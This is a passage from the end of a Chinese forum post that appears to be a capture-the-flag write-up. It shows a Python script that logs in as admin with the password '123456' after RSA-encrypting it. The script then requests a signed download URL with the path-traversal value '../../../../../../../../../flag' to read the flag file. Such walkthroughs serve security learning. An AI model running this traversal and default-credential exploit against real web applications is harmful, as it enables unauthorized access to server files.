  15. [*] 准备访问下载URL: {download_url}")    print("-" * 80)        # 构造下载请求的请求头(模拟浏览器行为)    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",        "Accept-Encoding": "gzip, deflate",        "Connection": "keep-alive",        "Referer": TARGET_URL,        "Upgrade-Insecure-Requests": "1"    }        try:        # 发送GET请求访问下载链接(保持会话)        response = session.get(            download_url,            headers=headers,            timeout=15,            allow_redirects=True,            stream=True  # 支持大文件下载        )                print(f"
  16. [*] 下载URL访问状态码: {response.status_code}")        print(f"
  17. [*] 响应头信息: {response.headers}")                # 处理响应内容        if response.status_code == 200:            # 判断是否是文件下载            if 'Content-Disposition' in response.headers:                # 提取文件名并保存文件                content_disposition = response.headers.get('Content-Disposition', '')                filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)                save_filename = filename.group(1) if filename else 'app.jmx'                                # 保存文件到本地                with open(save_filename, 'wb') as f:                    for chunk in response.iter_content(chunk_size=8192):                        f.write(chunk)                print(f"
  18. [*] 文件下载成功,已保存为: {save_filename}")            else:                # 非文件下载,打印响应内容                print(f"
  19. [*] 下载URL响应内容: {response.text[:2000]}")  # 只打印前2000字符避免过长        else:            print(f"[!] 下载URL访问失败,状态码: {response.status_code}")            print(f"[!] 响应内容: {response.text}")                print("-" * 80)        return response        except Exception as e:        raise RuntimeError(f"访问下载URL失败: {str(e)}")if __name__ == "__main__":    # 创建会话对象(保持cookie、会话状态)    session = requests.Session()        # 1. 定义需要加密的原始密码    original_password = "123456"    print(f"
  20. [*] 原始密码: {original_password}")    print("-" * 80)        # 2. 使用RSA加密密码    try:        encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)        print(f"
  21. [*] RSA加密后的密码: {encrypted_password}")        print("-" * 80)    except RuntimeError as e:        print(f"[!] 密码加密失败: {e}")        exit(1)        # 3. 发送登录请求(使用加密后的密码)并处理path访问    try:        login_response = send_login_request("admin", encrypted_password, session)    except Exception as e:        print(f"[!] 登录请求处理失败: {e}")        exit(1)        # 4. 访问/download路径,自动生成sign(携带登录后的会话信息)    try:        # 指定file参数值,自动生成对应的sign        file_param = "../../../../../../../../../flag"        download_response = visit_download_url(session, file_param)    except Exception as e:        print(f"[!] 下载URL访问处理失败: {e}")        exit(1)
复制代码

得到flag文件


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

相关推荐

您需要登录后才可以回帖 登录 | 立即注册